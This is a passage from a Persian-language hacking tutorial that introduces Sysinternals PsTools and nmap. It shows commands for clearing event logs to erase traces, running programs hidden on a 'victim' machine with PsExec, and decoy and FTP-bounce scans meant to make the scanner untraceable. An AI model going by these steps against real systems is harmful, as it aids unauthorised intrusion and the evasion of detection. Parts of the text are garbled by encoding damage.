دقيقѧا مѧشابه   ( برده و برنامه دائما در حال نوسѧازی وضѧعيت سيѧستم خواهѧد بѧود      Task Manager در این ابزار این برنامه را به حالت Sسویچ 
  ) . در لينوکس است tcpفرمان 
  . ثانيه دارد  توانایی مشخص کردن زمان نوسازی اطلاعات را برحسب ميلیRسویچ 

  .به نمونه ایی از کاربرد این دوتا با هم توجه کنيد. در زمينه مشاهده فعاليت های سرور مفيد هستند این دو سویچ واقعاً
C :\> Pslist.exe \\xxx.xxx.xxx.xxx s r 10 inetinfo.exe 
C :\> Pslist.exe s r 10 inetinfo.exe 

 بѧه مѧا   IIS ثانيѧه یѧک بѧار از آخѧرین وضѧعيت سѧرویس       ١٠هѧر  : ده و در جѧواب بѧه مѧا ميگویѧد     خوب که این فرمان را روی یѧک سѧرو اجѧرا کѧر      
  .اطلاع ميدهد

بѧا ایѧن کѧار روابѧط مربѧوط بѧه       . های مربوطه در قالب یک ساختار درختی نمایش دهدThread فرایند را به همراه  ميکند قادربرنامه را    T چسوی
  .اجرای یک پروسه را ميتوان درک کرد 

   :PsKill ابزار
  . که یک پروسه را نابود کند و یا به حال تعليق درآورد   قادر استPsSuspend  و یا PsKillهفتم  با نام ) ٧(ابزار 
  :مثلا

C :\> pskill.exe notepad 
2 processes named notepad killed. 

  :این برنامه ميتواند با دریافت شناسه فرایند نيز این کار را انجام دهد مثل
C :\> pskill.exe 1764 
Process #1764 killed 
بهتر است به جای نوشتن اسم پروسه مورد نظر شناسѧه آن را بѧه کѧار ببریѧد زیѧرا هميѧشه احتمѧال نѧابود شѧدن چنѧد پروسѧه  دیگѧر هѧم اسѧت چѧون                          

  !!چی در موقع تایپ شناسه باید دقت زیادی کنيد  که اشتباه نکنيد و گرنه دیگه هي. معمولا به هم ربط دارد
البته برای کشف شناسه فرایند نيز ميتوانيد از فرمانهای که بالا گفتم استفاده کنيد ولی یک بار دیگر هم ميگم با دستور زیر این کار را می توانيѧد         

  :انجام دهيد
C :\> Pslist.exe │ findstr / I notepad 
Notepad 1764  8  1  30  1728  0:00:00.020  0:00:00.020  0:00:07.077 
Notepad 1044  8  1  30  1724  0:00:00.020  0:00:00.020  0:00:07.077 
 Notepad 1796  8  1  30  1728  0:00:00.010  0:00:00.020  0:00:03.4835 

تفاده از این دقت لازم است این نکته را بگویم دوبار که این فرایند حذف یک پروسه تمام پروسه های مربوط با آن را نيز حذف ميکند پس در اس                 
  !!! نيت تخریب داریدبه خرج بدهيد یا اینکه شما واقعاً

 r است و برای تعليق یک فرایند است و مثل قبلی است شکل نوشتن دستور آن و با نوشتن همين فرمان بعلاوه سѧویچ                  PsSuspendفرمان دیگر   
  .فرایند را دوباره راه می اندازد

  
  .به درد مدیرها ميخورد تا ما ها% ٩٠ست که دیگه این زیاد توضيح نميدهم چون دیگه  اPsLogListفرمان بعدی فرمان خوب 

  :با این دستور ميتوانيد رد پاها را کلا پاک کنيد . و وقایع حياتی را نشان ما ميدهد  است Event Log Viewerکلا این برای کنار گذاشتن 
C :\> psloglist.exe –c 

  :البته به صورت ریز تر هم ميشود استفاده کرد مثل دستور زیر .پاک ميکند محتویات آن راکه این کلا فایل ثبت وقایع را 
C :\> psloglist.exe –c Application 

  !!).اما به شرط ها .این دستور هم از راه دور ميتوان استفاده کرد(کار این نرم افزار که بدرد ما می خورد % ١٠خوب این هم 
  

(c) ketabton.com: The Digital Library



٢٦    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

   :PsExecابزار 
با این ابزار شما مѧی توانيѧد   .  است بدون اغراق  ه این ابزار کار بردی ترین ابزار این مجموع        . است PsExecدی که معرفی ميکنم ابزار      ابزار بع 

خوب اگر برنامه مورد علاقه من آنجѧا     !!). منظور راه بيندازید    ( را روی سيستم قربانی بالا پاین بکنيد        )  هر برنامه ایی    ! ببخشيد  ( یک برنامه   
ѧѧارگيری آن نبѧѧازه بѧѧی اجѧѧود حت )Download (  دѧѧا ميدهѧѧه مѧѧم بѧѧادل !!! را هѧѧای معѧѧون فرمانهѧѧا راه دور همچѧѧایر ابزارهѧѧلاف سѧѧر خѧѧبrexec در 

 یکی از فرمانهای مهم هکرها در لينѧوکس  rexecفرمان . ( خاصی نداردDLL در مورد این ابزار نيازی به نصب هيچ گونه فایل و یا           ویندوز ، 
حѧال  " بѧه همѧين خѧاطر اسѧت کѧه در چنѧد سѧطر بѧالا گفѧتم           به اجرای برنامѧه مѧور نظѧر مѧا کѧرد ،              " وادار  " يتوان سيستم عامل را     است که با آن م    

  .!! "می ترکاندند را سر جایشان بنشانی پسرم" قمپض " برای شما … آنهایی را که با داشتن لينوکس هی ، چپ ميرند راست ميرند و
 و عبѧѧور از مѧѧانع احѧѧراز هویѧѧت بѧѧه منظѧѧور اجѧѧرای ایѧѧن برنامѧѧه از       $ADMINدسترسѧѧی بѧѧه منبѧѧع مѧѧشترک   البتѧѧه زیѧѧاد ذوق زده نѧѧشوید چѧѧون   

 دور اسѧتفاده کنѧيم از ایѧن    هميزنه چون هميشه فکر ميکند ما ميخواهيم از آن برای استفاده از را "  وها ل"  این برنامه یک کمی .ضروریات است 
 ميتѧوان نѧام   p– و u–بѧا اسѧتفاده از سѧویچ    . ومی اسѧتفاده از ایѧن فرمѧان امѧری واجѧب اسѧت       در الگѧوی عمcomputer name   ѧرو تعيѧين آرگومѧان   

  :مثال. کاربری و کلمه عبور را وارد کرد
C :\> psexec.exe \\xxx.xxx.xxx.xxx cmd/c dir 

  .   استSYSTEMROOT%\System32%در استفاده از این ابزار مسير اجرای فرمان مورد نظر به طور پيش فرض  
  :مثال های بيشتر 

C :\> psexec.exe \\xxx.xxx.xxx.xxx ipconfig/all 
C :\> psexec.exe \\xxx.xxx.xxx.xxx net use * \\yyy.yyy.yyy.yyy\backups Rch! ve/u: backup 
C :\> psexec.exe \\xxx.xxx.xxx.xxx c:\cygwin\usr\sbin\sshd 

  .قرار دهيد "  "  را درون  اگر نام یا مسير دارای جای خالی باشد باید آن
بѧا ایѧن روش اول برنامѧه یѧک کپѧی از نѧسخه       .مشکل خود را حѧل کنيѧد   f–   و یا c–اگر مسير را درست بلد نيستيد ميتوانيد با اضافه کردن سویچ 

 را بѧا     در صورت وجد برنامه مورد نظѧر در آنجѧا نѧسخه آن             f–سویچ  . درست می کند    ) SYSTEMROOT%\System32%( خود در آنجا    
  . نسخه ارسالی عوض می کند

بعѧدا بѧه طѧور کامѧل توضѧيح ميѧدهم        ( fscanدر مثال زیر پس از بار گذاری برنامه ای بѧا عنѧوان              . یک مثال ميزنم راه کار آن دست خودتان بياد        
  . ميدهد مقصد را انجامCفرایند اسکن پورت های سيستمهای واقع بر روی شبکه کلاس . بر روی سيستم هدف) درباره اش  

  
C :\> psexec.exe \\xxx.xxx.xxx.xxx –c fscan.exe q bpl-10001 –o targets.txt 192.168.0.1- 192.168.0.255 

  
  .را روی ماشين طرف بریزید و اجرا کنيد ) Pstools ازجمله تمام برنامه های ( با این روش ميتوانيد هر برنامه  

  . باعث مخفی اجرا شدن برنامه ميشود Dسویچ 
  . برای استفاده در قالب یک حساب سيستمی استفاده ميشودSسویچ  
  . که نياز به کلمه عبور دارد استفاده ميشودFTPدر مورد برنامه های مثل . باعث ميشود دست یابی محاوره ای به سيستم پيدا کنيم Iسویچ 
    :PsShutdownابزار 

   .  استPsShutdownآخرین ابزار این مجموعه ابزار 
ایѧѧن ابѧѧزار قѧѧادر اسѧѧت سيѧѧستمی را خѧѧاموش و یѧѧا از  .  اسѧѧتwindows Resource در مجموعѧѧه shutdownن ابѧѧزار دقيقѧѧا شѧѧبيه ابѧѧزار ایѧѧ کѧѧار

  ...خاموش شدن آن جلوگيری کند و یا لحظه ای یک سيستم را خاموش کند و
 در نѧѧرم افѧѧزار y وcاسѧѧتفاده تѧѧوام دو سѧѧویچ  ایѧѧن سѧѧویچ مѧѧساوی بѧѧا  .  اسѧѧتفاده مѧѧی کنѧѧيم f–بѧѧرای خѧѧاموش کѧѧردن ناگهѧѧانی ماشѧѧين هѧѧدف از سѧѧویچ   

shutdown در مجموعه windows Resourceاست .  
  !!!.بقيه اش دیگه تابلو خودتان تجربه کنيد 

  
یѧک کѧار دیگѧر هѧم اسѧت کѧه البتѧه خيلѧی مهѧم          خوب تا به حال اکثر نرم افزارهای مهم جمع آوری اطلاعات مقدماتی را معرفی کردم در این باب  

خѧوب اول مѧن یѧک نمѧای کلѧی در بѧاره انѧواع اسѧکن         ... سکن پورت ها برای بدست آوردن ليست پورت های بѧاز و سرویѧسهای آن و   است و آن ا   
  .کردن پورت ها  به شما ميدهم تا بعد برسيم  سر معرفی و آموزش چگونگی  استفاده از نرم افزارهای مربوطه 

  
  گام دوم

  
  :انواع شيوه های جستجوی پورت 

  
   ) :Polite Scan(  پویش مودبانه و یا اصطلاحا  مکانيزم-١
  

خѧوب اگѧر   . بѧا یѧک شѧماره پѧورت خѧاص برقѧرار مѧی نمایѧد         TCPدر این مکانيزم نرم افزار پویشگر پورت یѧک ارتبѧاط کامѧل و سѧه مرحلѧه ای         
  ).پس حتما سرویسی وجد داشته که این پورت باز کرده . ( ارتباط وصل شود پس پورت مربوطه باز است

  . طبيعی دارد احتمال آنکه ماشين هدف دچار اختلال شود وجود ندارد لاست و یک روا ) TCPاز نظر پروتکل ( این عمل کاملا قانونی چون 
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٢٧    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

البتѧه نتѧایج    زمان زیادی سرف ایѧن سѧه مرحلѧه دسѧت تکѧانی ميѧشود ،       و زیاد ميشود احتمال لو رفتن شما بسيار    شيوه استفاده از این     یالبته به دلایل  
  .قابل اطمينان استکاملا 

  .از نرم افزار های پویشگر پورت% ٩۵روند کاری به صورت زیر است در بيش از 
 . به سمت ماشين هدف فرستاده شدهSYNیک بسته  •
اگѧر جѧواب دریافѧت شѧد     .  ميѧشود تѧا برگѧردد   SYN-ACKنرم افزار به مدت مشخصی که البته معمولا قابل تنظيم است منتظر جѧواب             •

 .ميشود گفت که بسته است این پورت % ١٠٠نه " احتمالا "  در غير این صورت پس پورت باز بوده
  .ACKبا فرستادن یک بسته شود  اگر پورت باز باشد مرحله سوم دست تکانی انجام می •
 نيم ببينѧيم ایѧ  خوب حالا چون پورت بازه و ما تا حالا این نرم افزار هر کاری کرده برای ارتباط با آن ماشين بوده ولی ما فقط ميخواسѧت     •

 . ارتباط پایان ميدهدFIN=1افزار با فرستادن یک بسته   نه اینکه به هم وصل شویم پس نرم ،در بازه یا نه
  
   : )TCP SYN Scan( پویش مخفيانه  -٢

ن بيشتر است نسبت نسبت به شيوه قبلی و البته سرعت آدر این مکانيزم یا شيوه دو مرحله از دست تکانی انجام می شود و روش امن تری است               
  :به شيوه اول دارای مراحل زیر است 

 . برای هدف ميفرستدSYSیک بسته  •
 .اگر جواب آمد که یعنی پورت باز است. در جواب می آید یا نه SYN-ACKزمان مشخصی برای جواب صبر می کند تا ببيند بسته  •
 .ف ميفرستد و هيچ ارتباطی به وجد نمی آید  را برای هدRESETنرم افزار سریعا بسته  ) SYN-ACK(با باز گشت جواب  •

  
   .TCP پویش به روش نقض اصول پروتکل -٣

در ایѧن سѧه روش از   .   اسѧتوار بѧود   SYN-ACK  و انتظѧار بѧرای دریافѧت بѧسته            SYSدر دو روش قبلی عمل پویش بر پایه فرستادن یک بسته            
  .اده نمی شودبسته های استفاده می شود که در حالت عادی هيچ وقت یک دفعه فرست

  .این روش سه مکانيزم یا شيوه دارد که توضيح ميدهم
  
٣-١- TCP FIN Scan:    

حکم ميکند یک دفعѧه ایѧن بѧسته     " هدوگول" و همان طور که . ارسال می شود TCP برای خاتمه یک ارتباط TCP FINبه طور کلی بسته های 
طبѧق قواعѧد پروتکѧل اگѧر پѧورتی      .  را بر عکس کرده و تا بعد به بينѧيم چѧه ميѧشود    در این شيوه حکم دوگوله   .را برای شروع ارتباط نمی فرستند       

باز باشد و این بسته را برایش بفرستيم هيچ جوابی نمی دهد پس ما احتمال زیاد با عدم دریافѧت جѧواب پѧی ميبѧریم پѧورت بѧاز اسѧت امѧا اگѧر یѧک               
  . بفرستد پس ما پی ميبریم این پورت بسته است RESETواب پورت بسته یک همچين بسته ای بفرستيم باید ماشی هدف برای ما ج

  
٣-٢- NULL Scan:   

این بار برنامه مورد نظر بدون برقراری ارتباط با ماشين هدف یѧک دفعѧه بѧرای ماشѧين هѧدف                .  است هاین هم یک مکانيزم بر خلاف حکم دوگول       
 و FIN و   SYSین بسته دارای ویژگی های اسѧت کѧه بيتهѧای            ا.  با شماره پورت مشخص برای یک پورت خاص ارسال می کند           TCPیک بسته   

ACK   ه             .  نيست پس یک بسته بی معنی است با توجه به قوانين پروتکل              ١ آنѧد کѧاز باشѧورت بѧوقتی هدف این بسته در پيت ما را ميگيرد اگر پ
تيجѧه ميگيѧریم اگѧر جѧواب در یافѧت نکѧردیم        پѧس مѧا ن    . بѧه مѧا ميدهѧد      ) RESETیѧک بѧسته     ( بسته را حذف ميکند اگر پورت بسته باشد یک پاسخ           
  .پورت باز است اگر دریافت کردیم پورت بسته است

  
٣-٣- Xmas Tree:    

  وURG  وFIN بѧرای هѧدف ميفرسѧتيم کѧه فيلѧد هѧای       TCPدر این مکانيزم ، که کاملا برعکس بالا است از نظر قوانين پروتکل ما یѧک بѧسته   
PUSH    سته      ن یک بسته بی معنی استظر پروتکل البته قوانين آهم از ن پر کرده ایم این    ١ را باѧورت بѧد و پѧذف ميکنѧسته را حѧپس پورت باز ب 

  . به ما ميدهد RESETیک جواب 
  

  :یک نکته خيلی مهم 
ز  وقتѧی بѧرای وینѧدو   ونشاید خيلی جالب باشد اما فقط برای سيستم های غير ویندوز کارایی دارد چ             ) نقض اصول پروتکل    ( خوب این روش ها     

  . برای ما حواله می کند RESETها از این بسته ها بفرستيد در هر حالتی جواب 
  
   :TCP ACK Scan پویش به روش -۴

این بѧسته معمѧولا   (  برای هدف فرستاده ميشود      ACKاین مکانيزم یا شيوه تقریبا شبيه سه مکانيزم بالا است با این تفاوت که یک دفعه یک بسته                   
خѧوب بѧه ایѧن ترتيѧب وقتѧی ماشѧين هѧدف یѧک دفعѧه از ایѧن نѧوع بѧسته دریافѧت مѧی کنѧد چѧون هѧيچ در                               ) ده مѧی شѧود       فرسѧتا  SYSدر جواب بسته    

خواستی نفرستاده بوده که چيزی بخواهد بگيرد سرویس دهنده آن پورت ایѧن بѧسته را حѧذف ميکنѧد کѧه پѧس بѧا ایѧن روش دریافѧت نکѧردن جѧواب                               
 برای نرم افزار پویش کننده فرسѧتاده مѧی شѧود و نѧرم افѧزار بѧا           RESET بسته باشد یک بسته      احتمالا نتيجه ميدهد که پورت باز است اگر پورت        
  .دریافت این بسته پی ميبرد که پورت بسته شده است
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 و TCP SYS Scan ، امѧا دو مکѧانيزم   تѧوان بѧا آن از مѧسيریاب هѧای فيلتѧر کننѧده و دیѧوار آتѧش عبѧور کѧرد           این مکانيزم خѧوبی اسѧت چѧون مѧی    
  . این امکان را ندارندPolite Scanمکانيزم 

    :FTP bounce Scan پویش به روش -۵
 یѧک سѧری   FTP در سѧویس    !!FTPاین از آن روشهای است که شما ناشناس ميمانيѧد و ایѧن مهѧم انجѧام نمѧی شѧود مگѧر بѧا اسѧتفاده از قابليتهѧای                               

      ѧرور مѧک سѧه از یѧتيد         قابليت هایی است که به شما امکان ميدهد مثلا به جای اینکѧر بفرسѧرور دیگѧک سѧرای یѧد آن را بѧت کنيѧایلی دریافѧستقيما ف
خوب این کار را برای این انجام ميدهند که این دو چون سرعت اینترنت زیادی دارند فيل زود تر بارگيری ميشود و بعد شما پѧيش سѧرور دومѧی     

  .تفاده می کنداینه مکانيزم از این اصل اس. ميریزید و بقيه ماجرا CDرفته و فایل خود را روی 
  

نيѧد  ام شما باید روی ماشين هدف بد     ویاین را همين جا بگ      ( FTPویس دهنده   ر با س  TCPدر این مکانيزم نرم افزار پویش گر پورت یک ارتباط           
ص روی  برقѧرار کѧرده و از آن ماشѧين ميخواهѧد بѧا یѧک پѧورت مѧشخ        ) تا این شيوه به درستی کѧار کنѧد         ... باز و یا     ٢١پورت  این سرویس فعال    

این سرویس دهنده هم می تواند روی ماشين پویشگر پورت باشد هم ميتواند در یک جѧای دیگѧر از شѧبکه باشѧد      ( ماشين هدف ارتباط برقرار کند      
پѧس آن پѧورت روی   .  بѧه نرمѧافزار پѧویش گѧر پѧورت اطѧلاع ميدهѧد پѧورت بѧسته اسѧت           FTPخوب اگر ارتباط برقرار نѧشود و سѧرویس دهنѧده           ) 

اما اگر پورت مربوطه باز باشد ، درآن موقع هميشه یک پاسخ با این مضموم که پورت باز است اما امکان تبادل فایل                      . ی بسته است  ماشين قربان 
ایѧن روش ، روش کѧاملا مخفيانѧه ای اسѧت چѧون        .خوب باز هم با دریافت این فایل پویѧشگر ميفهمѧد کѧه پѧورت بѧاز اسѧت                    .  وجد ندارد داده ميشود   

  .ماشين ثالث ارتباط برقرار می کند نه با مابا یک ماشين هدف 
  :استفاده کنيد چون ما از قابليت ای به نام " هميشه "  وطنی FTPدر این روش هميشه سعی کنيد از سرویس دهنده های 

File-Forwarding                  ѧت امѧال اسѧافی فعѧش کѧدم دانѧت عѧه علѧی بѧرورهای وطنѧيش از   استفاده می کنيم و در اکثر اوقات این قابليت روی سѧا در ب
  .بلوک شده است) ... نه مکزیک و برزیل و!!!!!بزرگ شيطان(آمریکایی اوقات روی سرورهای اروپایی و کانادایی و % ٩٠

  
   :udp پویش پورت های -۶

ن بѧسته در یѧک    ندارید و شاید ایtcpروی بسته که حواله ميکنيد برخلاف    ...  را بدون اتصال می گویند یعنی شما هيچ کنترل و          udpکلا پروتکل   
  ...خرابه ایی  ، گور به گور شود و یا شاید ترتيب دریافت آنها به هم بخورد و

 بѧرای  udpاین پروتکل چون خيلی ساده است پس امکان اجرای شيوه و متدهای کمی را ميدهد به ما یکی از این شيوه ها این است که یک بѧسته      
ميѧشود گفѧت پѧورت بѧسته اسѧت در      % ١٠٠٠٠٠ دریافت شود پس  بѧه طѧور یقѧين    ICMP Port Unreachableهدف فرستاده ميشود اگر پاسخ 

 آن تمѧام شѧده   TTLغير این صورت ميشود فرض کرد پورت باز است البته زیاد جدی نميشود گرفت این را چѧون شѧاید بѧسته نرسѧيده باشѧد و یѧا                  
  ...باشد و

  
 کدام مکانيزم بهتر است و شما باید با توجه به شرایط خود که در مرحله قبل  مکانيزم به شما آموزش دادم نميشود گفت که ۶همانطور که در این     

مثلا برای سيستم عامل های لينوکس و هم خانواده های آن گزینه  نقض اصѧول         . پيدا کرده اید تصميم بگيرید که باید از کدام مکانيزم استفاده کنيد           
  )نسخ جدید این نوع سيستمها این مشکل برطرف شده این یادم رفته بگم من فکر ميکنم روی ( پروتکل بد نيست 

اگѧر ناشѧناس مانѧدن حکѧم مѧرگ زنѧدگی دارد       .  گزینѧه خѧوبی اسѧت   TCP ACK Scanو یا اگر از فيلتѧر شѧدن بѧسته هѧا کلافѧه شѧده ایѧد مکѧانيزم          
 را ته امنيت را برای شما بѧه ارمغѧان    و استفاده از یک پرو کسی که خودتان پيکر بندی کرده باشيد آنFTP bounce Scanاستفاده از مکانيزم 

 اگѧر  .درسѧت و قابѧل اطمينѧانی را بѧه مѧا مѧی دهѧد       % ١٠٠ جѧواب هѧای   Polite Scanاگر در داخل یک شبکه داخلѧی هѧستيد مکѧانيزم    . می آورد 
  . انتخاب فوق العاده ایی استTCP SYN Scanمشکل کندی دست رسی به شبکه و نگرانی شناسایی دارید گزینه 

  
  : تا بعد برسی به معرفی آنهام انجام ميده معروفهر چيز یک مقایسه کوچولو بين نرم افزارهای پویشگر پورتقبل از 

  
دارا بودن مکانيزم پویش  UDPتوانایی پویش پورت های  TCPتوانایی پویش پورت های 

  مخفيانه
  نام نرم افزار پویش گر

برای سيستم عمل های   
UNIX 

Җ  -  -  Strobe 
Җ  -  -  Tcp_Scan 
-  Җ  -  Udp_Scan 
Җ  Җ  Җ  Nmap 
Җ  Җ  -  Netcat 

برای سيستم عمل های   
Windows 

Җ  Җ  Җ  NMapWin 
Җ  Җ  -  Net Scan Tools Pro 
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200x 
Җ  -  -  Super Scan 
Җ  -  -  NTO Scanner 
Җ  -  -  Win Scan 
Җ  -  -  Ip Eye 
-  Җ  -  WUPS 
Җ  Җ  -  Fscan 

  
  

  :پردازم میو البته کامل ترین پویشگر پورت افزارهای  خوب حال به معرفی کارا ترین نرم
  
١- Nmap:   

  .کند البته با دقت بالا   مکانيزم بالا را پشتيبانی می۶تمام ). تا به حال ( هيچ جای بحثی نيست که این اولی است 
  :برای دریافت این برنامه به آدرس زیر مراجعه کنيد 

www.insecure.org/nmap 
خوب این هم مثل بقيه ابزارها و روال هميشگی اول برای سيستم عامل های کد باز نوشته شد بعد نمونه  وینѧدوز آن هѧم آمѧد کѧه خѧالی از اشѧکال                 

يѧد آن را   هѧا اجѧرا کن  NT یѧا روی  Xp اجرا نمی شود باید حتما بѧدون سѧرویس پѧک باشѧد وینѧدوز                 ٢ و   ١ های سرویس پک     xpروی  ( هم نيست   
 امتحѧان کѧنم ببيѧنم چѧه     Advance  SERVER 2003 هم اجرا نمی شود البته هنوز وقѧت نکѧردم روی    ٩٨ و ME ، روی ٢٠٠٠مثلا  ویندوز 
  :که این شکلی  هست ن آن آخری ١٫٣٫١   ورژن خوب نسخه ویندوز آن) ميشود جواب 

  
  

  . است برای اجرای نسخه ویندوز آن ٣ نصب کنيد که آخرین نسخه آن  را بایدWin Pcapاین فراموش کردم که بگویم حتما نرم افزار 
  

بѧѧا نѧѧام ( و دیگѧѧری دارای یѧѧک رابѧѧط کѧѧاربری گرافيکѧѧی اسѧѧت ) نѧѧسخه هلѧѧو ( نѧѧسخه وینѧѧدوز آن دارای دو مѧѧدل اسѧѧت یѧѧک مѧѧدل تحѧѧت خѧѧط فرمѧѧان 
NMapWin .(   ѧر        به نظر من تنها مزیت نسخه گرافيکی آن است که پيکر بندی را برای مبتدی هѧادل پيکѧره معѧایين پنجѧه در پѧد البتѧاده ميکنѧا س

  !!بندی نسخه خط فرمان را نمایش ميدهد و این مزیت اصلی آن است 
  :است  در خط فرمان که این شکلی nmapاین هم 

   :همراه خط فرماناول من مدل خط فرمان توضيح ميدهم بعد مدل گرافيکی آن را
C:\Program Files\NMapWin\bin>nmap.exe 
 
Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options] <host or net list> 
 
Some Common Scan Types ('*' options require root privileges) 
 
* -sS TCP SYN stealth port scan (default if privileged (root)) 
  -sT TCP connect() port scan (default for unprivileged users) 
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* -sU UDP port scan 
  -sP ping scan (Find any reachable machines) 
 
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) 
  -sR/-I RPC/Identd scan (use with other scan types) 
 
Some Common Options (none are required, most can be combined): 
 
* -O Use TCP/IP fingerprinting to guess remote operating system 
  -p <range> ports to scan.  Example range: '1-1024,1080,6666,31337' 
  -F Only scans ports listed in nmap-services 
  -v Verbose. Its use is recommended.  Use twice for greater effect. 
  -P0 Don't ping hosts (needed to scan www.microsoft.com and others) 
 
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys 
  -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy 
  -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve] 
  -oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile> 
  -iL <inputfile> Get targets from file; Use '-' for stdin 
 
* -S <your_IP>/-e <devicename> Specify source address or network interface 
  --interactive Go into interactive mode (then press h for help) 
  --win_help Windows-specific features 
 
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*' 
 
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES 

  
 اگѧѧر مѧѧی بينيѧѧد .  توضѧѧيح داده شѧѧده اسѧѧتNmapسѧѧویچ هѧѧای آن در نѧѧرم افѧѧزار  و ) nmap(  در در جѧѧدول زیѧѧر تمѧѧام مکانيزمهѧѧای پѧѧویش پѧѧورت

  . مراجعه کنيد" انواع شيوه های جستجوی پورت " توضيحات کامل نيست به بخش 
  

در خط ( سویچ ها   ویژگی و مشخصه پورت  
  ) فرمان

نام مدل اسکن به 
  لاتين

 sT TCP Connect-  .تمام مراحل پا تکانی ببخشيد دست تکانی انجام می شود !! مکانيزم پویش مودبانه   ١
 مرحله ایی انجام ٣ دو مرحله از سه مرحله دست تکانی !!مکانيزم پویش مخفيانه   ٢

  .ميشود 
-sS TCP SYS 

 برگردد پورت RESETاگر .  ارسال ميشودTCP FINبه هر پورت یک بسته   ٣
  .ته است، در غير این صورت احتمالا باز است بس

-sF TCP FIN 

 ارسال PUSH و URG و FIN با بيتهای فعال TCPبه هر پورت یک بسته   ۴
 برگردد پورت بسته است، در غير این صورت احتمالا باز RESETاگر . ميشود
  .است 

-sX TCP Xmas 
tree 

مثل ( چ یک از بيتهای کنترلی  به هر پورت یک بسته ارسال می شود که  در آن هي  ۵
ACK و FIN اگر . فعال نيست... )   وRESET برگردد پورت بسته است، در 

  .غير این صورت احتمالا باز است 

-sN Null 

 برگردد پورت RESETاگر .  ارسال می شودTCP ACKبه هر پورت یک بسته   ۶
  .بسته است، در غير این صورت احتمالا باز است 

-sA TCP ACK 

 در Window Size است با این تفاوت که فيلد SYS ACKاین مکانيزم مشابه   ٧
  . استفاده شده استTCPبسته 

-sW Window 

 b FTP Bounce-  . استفاده می شودFTP bounce Scanمکانيزم با حال   ٨
  برگردد ICMP یا پيغام RESETاگر .  ارسال ميشودUDPبه هر پورت یک بسته   ٩

  .در غير این صورت احتمالا باز است پورت بسته است، 
-sU UDP 

Scanning 
 ICMP.   -sP Pingمکانيزم کشف یک ماشين در شبکه با استفاده از پيغام  ١٠
خودش از مکانيزم پویش { این مکانيزم ( . در شبکهRPCمکانيزم کشف سرویس  ١١

 که RPCس ده استفاده از سرویاکليه پورت های باز و آم} مودبانه استفاده ميکند 
  )   را بعلاوه اطلاعات تکميلی آشکار ميکند port mapperاصطلاحا 

-sR RPC 
Scanning 

  
ایѧن روش  .  مکانيزم رد گѧم کنѧی خѧاص خѧود اسѧت کѧه جѧدا از مکѧانيزم هѧای پѧویش مخفѧی پѧورت اسѧت                     nmapخوب یکی از ویژگی های خوب       

نيزم ایѧن روش ایѧن اسѧت کѧه بѧرای هѧر پѧورت از ماشѧين هѧدف بѧيش از یѧک بѧسته                            مکѧا . رابطه مستقيمی با پهنای باند ارتباطی شما با شبکه دارد         
 بѧسته در جѧواب چهѧار بѧسته     ۴با هم تفاوت دارند به این صѧورت کѧه ماشѧين قربѧانی مѧثلا بѧا دریافѧت         هفر سند  IP فرستاده ميشود که فقط در فيلد

 و بقيه آدرسهای بيگناه و بيخبر هستند کѧه بعѧد از دریافѧت ایѧن بѧسته آن         ميفرستد اما فقط یکی از ان بسته ها آدرس ماشين پویشگر پورت را دارد             
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 برابѧر ميѧشود و عمѧلا شѧما     ٣٠ بسته بفرستيد چه ميشود هيچی فقѧط کѧار مѧسلول امنيѧت سѧایت      ٣٠ بسته ۴خوب اگر شما به جای   .را حذف ميکند    
  .غير قابل رد یابی ميشوید

  . قربانی است که بعدا بيشتر توضيح ميدهم یکی از قابليتهای این برنامه پویش هم زمان چند
  

تشخيص نѧوع سيѧستم عامѧل اسѧت البتѧه راه هѧای        که آن را از دیگر نرم افزار های مشابه خود  متمایز می کند           nmapیکی دیگر از ویژگی های      
 بر مبنѧای    OSنامه برای تشخيص    روش این بر  .  از این روش استفاده نمی کند      nmapالبته  .  است TTL و توجه به پارامتر      pingزیادی همچون   

همѧانطور کѧه مѧی دانيѧد هѧيچ وقѧت یѧک بѧسته         (  بѧه سѧوی وینѧدوز حوالѧه شѧود      ACKیѧک بѧسته   یک دفعه   نقض اصول پروتکل است مثلا هر گاه        
ACK         در جواب یک بسته     )  یک دفعه حواله هيچ ماشينی نمی شودRESET      رددѧی گѧر مѧب  .                ѧک دفعѧتد یѧزار ميفرسѧرم افѧن نѧه ایѧایی کѧسته هѧه ب

و ) بѧه سѧوی پѧورت هѧا بѧسته ميفرسѧتد       ( SYN و ACKو )  اسѧت  CODE BIT بѧسته ای بѧدون   NULLبѧسته   ( NULL و SYSعبارتنѧد از  
ACK و UDP و PSH ) و URG و FIN و )  بسوی پورت های بستهPSH و  URG و …   
  . می بردOSاب پی به نوع  یک ، دو جين از جواب های دریافتی هر سيستم عامل را دارد و با دریافت جو nmapخوب 

  
  : را ميتوانيد از آدرس زیر بدست بی آورید Win nmapکد منبع برای نسخه ویندوز نرم افزار 

http://nmapwin.sourceforge.com/projects/nmapwin 
دارم روش !!!  با سرویس پک هم کار کند ولی من کردم نصف قابليت های آن پریѧد  XPن را، تو ویندوز البته یک کمی فکر کنم انگولک کنيد آ    

  !!!!!کار ميکنم 
  : ميشود برای اتصال به یک پورت استفاده کرد با شکل عمومی زیر nmap از 

Nmap –PT <port_number> 
 را برای بالا بودن ماشѧين هѧا گѧشته ام ولѧی بѧه      IPجه به امکانات آن یک رنج      در مواقعی استفاده ميکنم که مثلا با تو        nmapخوب از این دستور     

 ٨٠در خواست من دیوار آتش سوزانده با این دسѧتور چѧک ميکѧنم و معمѧولا از پѧورت       ،جوابها خيلی شک دارم آن هایی را که احتمال می دهم       
  . هم استفاده ميکنم

  :را در زیر آورده ام که توضيح ميدهم  FTP Bounce با مکانيزم nmapیک نمونه از دستور 
Nmap –b anonymous@ftp.lame_host.com –p 6000 xxx.xxx.xxx.xxx 

 را جهѧت پѧی      xxx.xxx.xxx.xxx از ميزبѧانی بѧه آدرس        ۶٠٠٠ پѧورت    ftp.lame_host.comفرمان بالا سعی ميکند با بهره گيری از سرور          
